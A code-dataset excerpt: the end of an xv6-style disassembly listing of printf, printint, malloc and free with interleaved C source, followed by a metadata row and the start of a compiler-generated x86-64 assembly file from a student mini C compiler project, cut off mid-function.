67f: 89 44 24 04 mov %eax,0x4(%esp)
683: 8b 45 08 mov 0x8(%ebp),%eax
686: 89 04 24 mov %eax,(%esp)
689: e8 52 ff ff ff call 5e0 <write>
}
68e: c9 leave
68f: c3 ret
00000690 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
690: 55 push %ebp
691: 89 e5 mov %esp,%ebp
693: 53 push %ebx
694: 83 ec 44 sub $0x44,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
697: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
69e: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
6a2: 74 17 je 6bb <printint+0x2b>
6a4: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
6a8: 79 11 jns 6bb <printint+0x2b>
neg = 1;
6aa: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
6b1: 8b 45 0c mov 0xc(%ebp),%eax
6b4: f7 d8 neg %eax
6b6: 89 45 f4 mov %eax,-0xc(%ebp)
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
6b9: eb 06 jmp 6c1 <printint+0x31>
neg = 1;
x = -xx;
} else {
x = xx;
6bb: 8b 45 0c mov 0xc(%ebp),%eax
6be: 89 45 f4 mov %eax,-0xc(%ebp)
}
i = 0;
6c1: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
do{
buf[i++] = digits[x % base];
6c8: 8b 4d ec mov -0x14(%ebp),%ecx
6cb: 8b 5d 10 mov 0x10(%ebp),%ebx
6ce: 8b 45 f4 mov -0xc(%ebp),%eax
6d1: ba 00 00 00 00 mov $0x0,%edx
6d6: f7 f3 div %ebx
6d8: 89 d0 mov %edx,%eax
6da: 0f b6 80 4c 0b 00 00 movzbl 0xb4c(%eax),%eax
6e1: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
6e5: 83 45 ec 01 addl $0x1,-0x14(%ebp)
}while((x /= base) != 0);
6e9: 8b 45 10 mov 0x10(%ebp),%eax
6ec: 89 45 d4 mov %eax,-0x2c(%ebp)
6ef: 8b 45 f4 mov -0xc(%ebp),%eax
6f2: ba 00 00 00 00 mov $0x0,%edx
6f7: f7 75 d4 divl -0x2c(%ebp)
6fa: 89 45 f4 mov %eax,-0xc(%ebp)
6fd: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
701: 75 c5 jne 6c8 <printint+0x38>
if(neg)
703: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
707: 74 2a je 733 <printint+0xa3>
buf[i++] = '-';
709: 8b 45 ec mov -0x14(%ebp),%eax
70c: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
711: 83 45 ec 01 addl $0x1,-0x14(%ebp)
while(--i >= 0)
715: eb 1d jmp 734 <printint+0xa4>
putc(fd, buf[i]);
717: 8b 45 ec mov -0x14(%ebp),%eax
71a: 0f b6 44 05 dc movzbl -0x24(%ebp,%eax,1),%eax
71f: 0f be c0 movsbl %al,%eax
722: 89 44 24 04 mov %eax,0x4(%esp)
726: 8b 45 08 mov 0x8(%ebp),%eax
729: 89 04 24 mov %eax,(%esp)
72c: e8 37 ff ff ff call 668 <putc>
731: eb 01 jmp 734 <printint+0xa4>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
733: 90 nop
734: 83 6d ec 01 subl $0x1,-0x14(%ebp)
738: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
73c: 79 d9 jns 717 <printint+0x87>
putc(fd, buf[i]);
}
73e: 83 c4 44 add $0x44,%esp
741: 5b pop %ebx
742: 5d pop %ebp
743: c3 ret
00000744 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
744: 55 push %ebp
745: 89 e5 mov %esp,%ebp
747: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
74a: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
ap = (uint*)(void*)&fmt + 1;
751: 8d 45 0c lea 0xc(%ebp),%eax
754: 83 c0 04 add $0x4,%eax
757: 89 45 f4 mov %eax,-0xc(%ebp)
for(i = 0; fmt[i]; i++){
75a: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
761: e9 7e 01 00 00 jmp 8e4 <printf+0x1a0>
c = fmt[i] & 0xff;
766: 8b 55 0c mov 0xc(%ebp),%edx
769: 8b 45 ec mov -0x14(%ebp),%eax
76c: 8d 04 02 lea (%edx,%eax,1),%eax
76f: 0f b6 00 movzbl (%eax),%eax
772: 0f be c0 movsbl %al,%eax
775: 25 ff 00 00 00 and $0xff,%eax
77a: 89 45 e8 mov %eax,-0x18(%ebp)
if(state == 0){
77d: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
781: 75 2c jne 7af <printf+0x6b>
if(c == '%'){
783: 83 7d e8 25 cmpl $0x25,-0x18(%ebp)
787: 75 0c jne 795 <printf+0x51>
state = '%';
789: c7 45 f0 25 00 00 00 movl $0x25,-0x10(%ebp)
790: e9 4b 01 00 00 jmp 8e0 <printf+0x19c>
} else {
putc(fd, c);
795: 8b 45 e8 mov -0x18(%ebp),%eax
798: 0f be c0 movsbl %al,%eax
79b: 89 44 24 04 mov %eax,0x4(%esp)
79f: 8b 45 08 mov 0x8(%ebp),%eax
7a2: 89 04 24 mov %eax,(%esp)
7a5: e8 be fe ff ff call 668 <putc>
7aa: e9 31 01 00 00 jmp 8e0 <printf+0x19c>
}
} else if(state == '%'){
7af: 83 7d f0 25 cmpl $0x25,-0x10(%ebp)
7b3: 0f 85 27 01 00 00 jne 8e0 <printf+0x19c>
if(c == 'd'){
7b9: 83 7d e8 64 cmpl $0x64,-0x18(%ebp)
7bd: 75 2d jne 7ec <printf+0xa8>
printint(fd, *ap, 10, 1);
7bf: 8b 45 f4 mov -0xc(%ebp),%eax
7c2: 8b 00 mov (%eax),%eax
7c4: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
7cb: 00
7cc: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
7d3: 00
7d4: 89 44 24 04 mov %eax,0x4(%esp)
7d8: 8b 45 08 mov 0x8(%ebp),%eax
7db: 89 04 24 mov %eax,(%esp)
7de: e8 ad fe ff ff call 690 <printint>
ap++;
7e3: 83 45 f4 04 addl $0x4,-0xc(%ebp)
7e7: e9 ed 00 00 00 jmp 8d9 <printf+0x195>
} else if(c == 'x' || c == 'p'){
7ec: 83 7d e8 78 cmpl $0x78,-0x18(%ebp)
7f0: 74 06 je 7f8 <printf+0xb4>
7f2: 83 7d e8 70 cmpl $0x70,-0x18(%ebp)
7f6: 75 2d jne 825 <printf+0xe1>
printint(fd, *ap, 16, 0);
7f8: 8b 45 f4 mov -0xc(%ebp),%eax
7fb: 8b 00 mov (%eax),%eax
7fd: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
804: 00
805: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80c: 00
80d: 89 44 24 04 mov %eax,0x4(%esp)
811: 8b 45 08 mov 0x8(%ebp),%eax
814: 89 04 24 mov %eax,(%esp)
817: e8 74 fe ff ff call 690 <printint>
ap++;
81c: 83 45 f4 04 addl $0x4,-0xc(%ebp)
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
820: e9 b4 00 00 00 jmp 8d9 <printf+0x195>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
825: 83 7d e8 73 cmpl $0x73,-0x18(%ebp)
829: 75 46 jne 871 <printf+0x12d>
s = (char*)*ap;
82b: 8b 45 f4 mov -0xc(%ebp),%eax
82e: 8b 00 mov (%eax),%eax
830: 89 45 e4 mov %eax,-0x1c(%ebp)
ap++;
833: 83 45 f4 04 addl $0x4,-0xc(%ebp)
if(s == 0)
837: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
83b: 75 27 jne 864 <printf+0x120>
s = "(null)";
83d: c7 45 e4 42 0b 00 00 movl $0xb42,-0x1c(%ebp)
while(*s != 0){
844: eb 1f jmp 865 <printf+0x121>
putc(fd, *s);
846: 8b 45 e4 mov -0x1c(%ebp),%eax
849: 0f b6 00 movzbl (%eax),%eax
84c: 0f be c0 movsbl %al,%eax
84f: 89 44 24 04 mov %eax,0x4(%esp)
853: 8b 45 08 mov 0x8(%ebp),%eax
856: 89 04 24 mov %eax,(%esp)
859: e8 0a fe ff ff call 668 <putc>
s++;
85e: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
862: eb 01 jmp 865 <printf+0x121>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
864: 90 nop
865: 8b 45 e4 mov -0x1c(%ebp),%eax
868: 0f b6 00 movzbl (%eax),%eax
86b: 84 c0 test %al,%al
86d: 75 d7 jne 846 <printf+0x102>
86f: eb 68 jmp 8d9 <printf+0x195>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
871: 83 7d e8 63 cmpl $0x63,-0x18(%ebp)
875: 75 1d jne 894 <printf+0x150>
putc(fd, *ap);
877: 8b 45 f4 mov -0xc(%ebp),%eax
87a: 8b 00 mov (%eax),%eax
87c: 0f be c0 movsbl %al,%eax
87f: 89 44 24 04 mov %eax,0x4(%esp)
883: 8b 45 08 mov 0x8(%ebp),%eax
886: 89 04 24 mov %eax,(%esp)
889: e8 da fd ff ff call 668 <putc>
ap++;
88e: 83 45 f4 04 addl $0x4,-0xc(%ebp)
892: eb 45 jmp 8d9 <printf+0x195>
} else if(c == '%'){
894: 83 7d e8 25 cmpl $0x25,-0x18(%ebp)
898: 75 17 jne 8b1 <printf+0x16d>
putc(fd, c);
89a: 8b 45 e8 mov -0x18(%ebp),%eax
89d: 0f be c0 movsbl %al,%eax
8a0: 89 44 24 04 mov %eax,0x4(%esp)
8a4: 8b 45 08 mov 0x8(%ebp),%eax
8a7: 89 04 24 mov %eax,(%esp)
8aa: e8 b9 fd ff ff call 668 <putc>
8af: eb 28 jmp 8d9 <printf+0x195>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
8b1: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
8b8: 00
8b9: 8b 45 08 mov 0x8(%ebp),%eax
8bc: 89 04 24 mov %eax,(%esp)
8bf: e8 a4 fd ff ff call 668 <putc>
putc(fd, c);
8c4: 8b 45 e8 mov -0x18(%ebp),%eax
8c7: 0f be c0 movsbl %al,%eax
8ca: 89 44 24 04 mov %eax,0x4(%esp)
8ce: 8b 45 08 mov 0x8(%ebp),%eax
8d1: 89 04 24 mov %eax,(%esp)
8d4: e8 8f fd ff ff call 668 <putc>
}
state = 0;
8d9: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
8e0: 83 45 ec 01 addl $0x1,-0x14(%ebp)
8e4: 8b 55 0c mov 0xc(%ebp),%edx
8e7: 8b 45 ec mov -0x14(%ebp),%eax
8ea: 8d 04 02 lea (%edx,%eax,1),%eax
8ed: 0f b6 00 movzbl (%eax),%eax
8f0: 84 c0 test %al,%al
8f2: 0f 85 6e fe ff ff jne 766 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
8f8: c9 leave
8f9: c3 ret
8fa: 90 nop
8fb: 90 nop
000008fc <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
8fc: 55 push %ebp
8fd: 89 e5 mov %esp,%ebp
8ff: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
902: 8b 45 08 mov 0x8(%ebp),%eax
905: 83 e8 08 sub $0x8,%eax
908: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
90b: a1 68 0b 00 00 mov 0xb68,%eax
910: 89 45 fc mov %eax,-0x4(%ebp)
913: eb 24 jmp 939 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
915: 8b 45 fc mov -0x4(%ebp),%eax
918: 8b 00 mov (%eax),%eax
91a: 3b 45 fc cmp -0x4(%ebp),%eax
91d: 77 12 ja 931 <free+0x35>
91f: 8b 45 f8 mov -0x8(%ebp),%eax
922: 3b 45 fc cmp -0x4(%ebp),%eax
925: 77 24 ja 94b <free+0x4f>
927: 8b 45 fc mov -0x4(%ebp),%eax
92a: 8b 00 mov (%eax),%eax
92c: 3b 45 f8 cmp -0x8(%ebp),%eax
92f: 77 1a ja 94b <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
931: 8b 45 fc mov -0x4(%ebp),%eax
934: 8b 00 mov (%eax),%eax
936: 89 45 fc mov %eax,-0x4(%ebp)
939: 8b 45 f8 mov -0x8(%ebp),%eax
93c: 3b 45 fc cmp -0x4(%ebp),%eax
93f: 76 d4 jbe 915 <free+0x19>
941: 8b 45 fc mov -0x4(%ebp),%eax
944: 8b 00 mov (%eax),%eax
946: 3b 45 f8 cmp -0x8(%ebp),%eax
949: 76 ca jbe 915 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
94b: 8b 45 f8 mov -0x8(%ebp),%eax
94e: 8b 40 04 mov 0x4(%eax),%eax
951: c1 e0 03 shl $0x3,%eax
954: 89 c2 mov %eax,%edx
956: 03 55 f8 add -0x8(%ebp),%edx
959: 8b 45 fc mov -0x4(%ebp),%eax
95c: 8b 00 mov (%eax),%eax
95e: 39 c2 cmp %eax,%edx
960: 75 24 jne 986 <free+0x8a>
bp->s.size += p->s.ptr->s.size;
962: 8b 45 f8 mov -0x8(%ebp),%eax
965: 8b 50 04 mov 0x4(%eax),%edx
968: 8b 45 fc mov -0x4(%ebp),%eax
96b: 8b 00 mov (%eax),%eax
96d: 8b 40 04 mov 0x4(%eax),%eax
970: 01 c2 add %eax,%edx
972: 8b 45 f8 mov -0x8(%ebp),%eax
975: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
978: 8b 45 fc mov -0x4(%ebp),%eax
97b: 8b 00 mov (%eax),%eax
97d: 8b 10 mov (%eax),%edx
97f: 8b 45 f8 mov -0x8(%ebp),%eax
982: 89 10 mov %edx,(%eax)
984: eb 0a jmp 990 <free+0x94>
} else
bp->s.ptr = p->s.ptr;
986: 8b 45 fc mov -0x4(%ebp),%eax
989: 8b 10 mov (%eax),%edx
98b: 8b 45 f8 mov -0x8(%ebp),%eax
98e: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
990: 8b 45 fc mov -0x4(%ebp),%eax
993: 8b 40 04 mov 0x4(%eax),%eax
996: c1 e0 03 shl $0x3,%eax
999: 03 45 fc add -0x4(%ebp),%eax
99c: 3b 45 f8 cmp -0x8(%ebp),%eax
99f: 75 20 jne 9c1 <free+0xc5>
p->s.size += bp->s.size;
9a1: 8b 45 fc mov -0x4(%ebp),%eax
9a4: 8b 50 04 mov 0x4(%eax),%edx
9a7: 8b 45 f8 mov -0x8(%ebp),%eax
9aa: 8b 40 04 mov 0x4(%eax),%eax
9ad: 01 c2 add %eax,%edx
9af: 8b 45 fc mov -0x4(%ebp),%eax
9b2: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
9b5: 8b 45 f8 mov -0x8(%ebp),%eax
9b8: 8b 10 mov (%eax),%edx
9ba: 8b 45 fc mov -0x4(%ebp),%eax
9bd: 89 10 mov %edx,(%eax)
9bf: eb 08 jmp 9c9 <free+0xcd>
} else
p->s.ptr = bp;
9c1: 8b 45 fc mov -0x4(%ebp),%eax
9c4: 8b 55 f8 mov -0x8(%ebp),%edx
9c7: 89 10 mov %edx,(%eax)
freep = p;
9c9: 8b 45 fc mov -0x4(%ebp),%eax
9cc: a3 68 0b 00 00 mov %eax,0xb68
}
9d1: c9 leave
9d2: c3 ret
000009d3 <morecore>:
static Header*
morecore(uint nu)
{
9d3: 55 push %ebp
9d4: 89 e5 mov %esp,%ebp
9d6: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
9d9: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
9e0: 77 07 ja 9e9 <morecore+0x16>
nu = 4096;
9e2: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
9e9: 8b 45 08 mov 0x8(%ebp),%eax
9ec: c1 e0 03 shl $0x3,%eax
9ef: 89 04 24 mov %eax,(%esp)
9f2: e8 51 fc ff ff call 648 <sbrk>
9f7: 89 45 f0 mov %eax,-0x10(%ebp)
if(p == (char*)-1)
9fa: 83 7d f0 ff cmpl $0xffffffff,-0x10(%ebp)
9fe: 75 07 jne a07 <morecore+0x34>
return 0;
a00: b8 00 00 00 00 mov $0x0,%eax
a05: eb 22 jmp a29 <morecore+0x56>
hp = (Header*)p;
a07: 8b 45 f0 mov -0x10(%ebp),%eax
a0a: 89 45 f4 mov %eax,-0xc(%ebp)
hp->s.size = nu;
a0d: 8b 45 f4 mov -0xc(%ebp),%eax
a10: 8b 55 08 mov 0x8(%ebp),%edx
a13: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
a16: 8b 45 f4 mov -0xc(%ebp),%eax
a19: 83 c0 08 add $0x8,%eax
a1c: 89 04 24 mov %eax,(%esp)
a1f: e8 d8 fe ff ff call 8fc <free>
return freep;
a24: a1 68 0b 00 00 mov 0xb68,%eax
}
a29: c9 leave
a2a: c3 ret
00000a2b <malloc>:
void*
malloc(uint nbytes)
{
a2b: 55 push %ebp
a2c: 89 e5 mov %esp,%ebp
a2e: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
a31: 8b 45 08 mov 0x8(%ebp),%eax
a34: 83 c0 07 add $0x7,%eax
a37: c1 e8 03 shr $0x3,%eax
a3a: 83 c0 01 add $0x1,%eax
a3d: 89 45 f4 mov %eax,-0xc(%ebp)
if((prevp = freep) == 0){
a40: a1 68 0b 00 00 mov 0xb68,%eax
a45: 89 45 f0 mov %eax,-0x10(%ebp)
a48: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
a4c: 75 23 jne a71 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
a4e: c7 45 f0 60 0b 00 00 movl $0xb60,-0x10(%ebp)
a55: 8b 45 f0 mov -0x10(%ebp),%eax
a58: a3 68 0b 00 00 mov %eax,0xb68
a5d: a1 68 0b 00 00 mov 0xb68,%eax
a62: a3 60 0b 00 00 mov %eax,0xb60
base.s.size = 0;
a67: c7 05 64 0b 00 00 00 movl $0x0,0xb64
a6e: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
a71: 8b 45 f0 mov -0x10(%ebp),%eax
a74: 8b 00 mov (%eax),%eax
a76: 89 45 ec mov %eax,-0x14(%ebp)
if(p->s.size >= nunits){
a79: 8b 45 ec mov -0x14(%ebp),%eax
a7c: 8b 40 04 mov 0x4(%eax),%eax
a7f: 3b 45 f4 cmp -0xc(%ebp),%eax
a82: 72 4d jb ad1 <malloc+0xa6>
if(p->s.size == nunits)
a84: 8b 45 ec mov -0x14(%ebp),%eax
a87: 8b 40 04 mov 0x4(%eax),%eax
a8a: 3b 45 f4 cmp -0xc(%ebp),%eax
a8d: 75 0c jne a9b <malloc+0x70>
prevp->s.ptr = p->s.ptr;
a8f: 8b 45 ec mov -0x14(%ebp),%eax
a92: 8b 10 mov (%eax),%edx
a94: 8b 45 f0 mov -0x10(%ebp),%eax
a97: 89 10 mov %edx,(%eax)
a99: eb 26 jmp ac1 <malloc+0x96>
else {
p->s.size -= nunits;
a9b: 8b 45 ec mov -0x14(%ebp),%eax
a9e: 8b 40 04 mov 0x4(%eax),%eax
aa1: 89 c2 mov %eax,%edx
aa3: 2b 55 f4 sub -0xc(%ebp),%edx
aa6: 8b 45 ec mov -0x14(%ebp),%eax
aa9: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
aac: 8b 45 ec mov -0x14(%ebp),%eax
aaf: 8b 40 04 mov 0x4(%eax),%eax
ab2: c1 e0 03 shl $0x3,%eax
ab5: 01 45 ec add %eax,-0x14(%ebp)
p->s.size = nunits;
ab8: 8b 45 ec mov -0x14(%ebp),%eax
abb: 8b 55 f4 mov -0xc(%ebp),%edx
abe: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
ac1: 8b 45 f0 mov -0x10(%ebp),%eax
ac4: a3 68 0b 00 00 mov %eax,0xb68
return (void*)(p + 1);
ac9: 8b 45 ec mov -0x14(%ebp),%eax
acc: 83 c0 08 add $0x8,%eax
acf: eb 38 jmp b09 <malloc+0xde>
}
if(p == freep)
ad1: a1 68 0b 00 00 mov 0xb68,%eax
ad6: 39 45 ec cmp %eax,-0x14(%ebp)
ad9: 75 1b jne af6 <malloc+0xcb>
if((p = morecore(nunits)) == 0)
adb: 8b 45 f4 mov -0xc(%ebp),%eax
ade: 89 04 24 mov %eax,(%esp)
ae1: e8 ed fe ff ff call 9d3 <morecore>
ae6: 89 45 ec mov %eax,-0x14(%ebp)
ae9: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
aed: 75 07 jne af6 <malloc+0xcb>
return 0;
aef: b8 00 00 00 00 mov $0x0,%eax
af4: eb 13 jmp b09 <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
af6: 8b 45 ec mov -0x14(%ebp),%eax
af9: 89 45 f0 mov %eax,-0x10(%ebp)
afc: 8b 45 ec mov -0x14(%ebp),%eax
aff: 8b 00 mov (%eax),%eax
b01: 89 45 ec mov %eax,-0x14(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
b04: e9 70 ff ff ff jmp a79 <malloc+0x4e>
}
b09: c9 leave
b0a: c3 ret
| 34.756443 | 60 | 0.429795 |
b777ef62f3d408f86535f29ebca9035acfba226e | 5,578 | asm | Assembly | src/salida.asm | AlejandroRM94/Compilador_C_minimo | 6c69987749233876c9f7fc0cde9c479f0d3ba531 | [
"MIT"
] | null | null | null | src/salida.asm | AlejandroRM94/Compilador_C_minimo | 6c69987749233876c9f7fc0cde9c479f0d3ba531 | [
"MIT"
] | null | null | null | src/salida.asm | AlejandroRM94/Compilador_C_minimo | 6c69987749233876c9f7fc0cde9c479f0d3ba531 | [
"MIT"
] | null | null | null | .section .rodata
.data
.globl global
.align 4
global:
.long 1
.text
.globl main
.globl aritmeticaBasica
.globl operacionX
.globl unarios
.globl iterativas
.globl selectivas
main:
pushq %rbp
movq %rsp, %rbp
subq $16, %rsp
call aritmeticaBasica
pushq %r10
pushq %r10
movl $2, %eax
movl %eax, %r10d
pushq %r11
movl $1, %eax
movl %eax, %r11d
movl %r11d, %edi
movl %r10d, %esi
call operacionX
popq %r11
popq %r10
movl %eax, %r10d
pushq %r11
pushq %r10
movl $6, %eax
movl %eax, %r10d
pushq %r11
movl $5, %eax
movl %eax, %r11d
movl %r11d, %edi
movl %r10d, %esi
call operacionX
popq %r11
popq %r10
movl %eax, %r11d
movl %r11d, %edi
movl %r10d, %esi
call operacionX
popq %r11
popq %r10
movl %eax, -4(%rbp)
call unarios
call iterativas
movl $0, %eax
jmp retorno_main
retorno_main:
movq %rbp, %rsp
popq %rbp
ret
aritmeticaBasica:
pushq %rbp
movq %rsp, %rbp
subq $32, %rsp
movl $1, %eax
movl %eax, -4(%rbp)
pushq %rbx
movl -4(%rbp), %eax
movl %eax, %ebx
movl $2, %eax
addl %eax, %ebx
movl %ebx, %eax
popq %rbx
movl %eax, -8(%rbp)
pushq %rbx
movl -8(%rbp), %eax
movl %eax, %ebx
movl $1, %eax
subl %eax, %ebx
movl %ebx, %eax
popq %rbx
movl %eax, -12(%rbp)
pushq %rbx
movl -12(%rbp), %eax
movl %eax, %ebx
movl $2, %eax
xchgl %eax, %ebx
imul %ebx
popq %rbx
movl %eax, -16(%rbp)
pushq %rbx
movl -16(%rbp), %eax
movl %eax, %ebx
movl $1, %eax
xchgl %eax, %ebx
xor %rdx, %rdx
idiv %ebx
popq %rbx
movl %eax, -20(%rbp)
pushq %rbx
movl -20(%rbp), %eax
movl %eax, %ebx
movl $2, %eax
xchgl %eax, %ebx
xor %rdx, %rdx
idiv %ebx
movl %edx, %eax
popq %rbx
movl %eax, -24(%rbp)
movl $0, %eax
movl %eax, -16(%rbp)
movl %eax, -12(%rbp)
movl %eax, -8(%rbp)
movl %eax, -4(%rbp)
movl %eax, -28(%rbp)
retorno_aritmeticaBasica:
movq %rbp, %rsp
popq %rbp
ret
operacionX:
pushq %rbp
movq %rsp, %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
pushq %rbx
pushq %rbx
movl -4(%rbp), %eax
movl %eax, %ebx
movl -8(%rbp), %eax
xchgl %eax, %ebx
xor %rdx, %rdx
idiv %ebx
movl %edx, %eax
popq %rbx
movl %eax, %ebx
pushq %rbx
pushq %rbx
movl -4(%rbp), %eax
movl %eax, %ebx
movl -8(%rbp), %eax
addl %eax, %ebx
movl %ebx, %eax
popq %rbx
movl %eax, %ebx
pushq %rbx
movl -4(%rbp), %eax
movl %eax, %ebx
movl -8(%rbp), %eax
subl %eax, %ebx
movl %ebx, %eax
popq %rbx
xchgl %eax, %ebx
xor %rdx, %rdx
idiv %ebx
popq %rbx
xchgl %eax, %ebx
imul %ebx
popq %rbx
movl %eax, -12(%rbp)
movl -12(%rbp), %eax
jmp retorno_operacionX
retorno_operacionX:
movq %rbp, %rsp
popq %rbp
ret
unarios:
pushq %rbp
movq %rsp, %rbp
subq $48, %rsp
movl $1, %eax
movl %eax, -4(%rbp)
movl $1, %eax
neg %eax
movl %eax, -8(%rbp)
movl $1, %eax
neg %eax
sbb %eax, %eax
add $1, %eax
movl %eax, -12(%rbp)
movl $0, %eax
neg %eax
sbb %eax, %eax
add $1, %eax
movl %eax, -16(%rbp)
movl -4(%rbp), %r10d
addl $1, %r10d
movl %r10d, -4(%rbp)
movl %r10d, %eax
movl %eax, -20(%rbp)
movl -4(%rbp), %r10d
subl $1, %r10d
movl %r10d, -4(%rbp)
movl %r10d, %eax
movl %eax, -24(%rbp)
movl -4(%rbp), %r10d
movl %r10d, %eax
addl $1, %r10d
movl %r10d, -4(%rbp)
movl %eax, -28(%rbp)
movl -4(%rbp), %r10d
movl %r10d, %eax
subl $1, %r10d
movl %r10d, -4(%rbp)
movl %eax, -32(%rbp)
movl -4(%rbp), %eax
movl %eax, -36(%rbp)
retorno_unarios:
movq %rbp, %rsp
popq %rbp
ret
iterativas:
pushq %rbp
movq %rsp, %rbp
subq $16, %rsp
movl $0, %eax
movl %eax, -4(%rbp)
FOR_1:
pushq %rbx
movl -4(%rbp), %eax
movl %eax, %ebx
movl $10, %eax
cmpl %eax, %ebx
jge FALSO_1
movl $1, %eax
jmp FIN_1
FALSO_1:
movl $0, %eax
FIN_1:
popq %rbx
cmpl $1, %eax
jl FIN_FOR_1
movl -4(%rbp), %eax
movl %eax, -8(%rbp)
movl -4(%rbp), %r10d
movl %r10d, %eax
addl $1, %r10d
movl %r10d, -4(%rbp)
jmp FOR_1
FIN_FOR_1:
WHILE_1:
movl $1, %eax
cmpl $1, %eax
jl FIN_WHILE_1
IF_1:
pushq %rbx
movl -8(%rbp), %eax
movl %eax, %ebx
movl $0, %eax
cmpl %eax, %ebx
jne FALSO_2
movl $1, %eax
jmp FIN_2
FALSO_2:
movl $0, %eax
FIN_2:
popq %rbx
cmpl $1, %eax
jl FIN_IF_1
jmp FIN_WHILE_1
FIN_IF_1:
movl -8(%rbp), %r10d
movl %r10d, %eax
subl $1, %r10d
movl %r10d, -8(%rbp)
jmp WHILE_1
FIN_WHILE_1:
DO_WHILE_1:
movl -4(%rbp), %r10d
movl %r10d, %eax
subl $1, %r10d
movl %r10d, -4(%rbp)
pushq %rbx
movl -4(%rbp), %eax
movl %eax, %ebx
movl $0, %eax
cmpl %eax, %ebx
jle FALSO_3
movl $1, %eax
jmp FIN_3
FALSO_3:
movl $0, %eax
FIN_3:
popq %rbx
cmpl $1, %eax
jl FIN_DO_WHILE_1
jmp DO_WHILE_1
FIN_DO_WHILE_1:
retorno_iterativas:
movq %rbp, %rsp
popq %rbp
ret
selectivas:
pushq %rbp
movq %rsp, %rbp
subq $16, %rsp
IF_2:
pushq %rbx
movl global(%rip), %eax
movl %eax, %ebx
movl $0, %eax
cmpl %eax, %ebx
jle FALSO_4
movl $1, %eax
jmp FIN_4
FALSO_4:
movl $0, %eax
FIN_4:
popq %rbx
cmpl $1, %eax
jl ELSE_2
movl $20, %eax
movl %eax, -4(%rbp)
jmp FIN_IF_2
ELSE_2:
movl $20, %eax
neg %eax
movl %eax, -4(%rbp)
FIN_IF_2:
IF_3:
pushq %rbx
pushq %rbx
movl -4(%rbp), %eax
movl %eax, %ebx
movl $20, %eax
cmpl %eax, %ebx
jne FALSO_6
movl $1, %eax
jmp FIN_6
FALSO_6:
movl $0, %eax
FIN_6:
popq %rbx
cmpl $1, %eax
jl FIN_AND_5
pushq %rbx
movl global(%rip), %eax
movl %eax, %ebx
movl $0, %eax
cmpl %eax, %ebx
jl FALSO_7
movl $1, %eax
jmp FIN_7
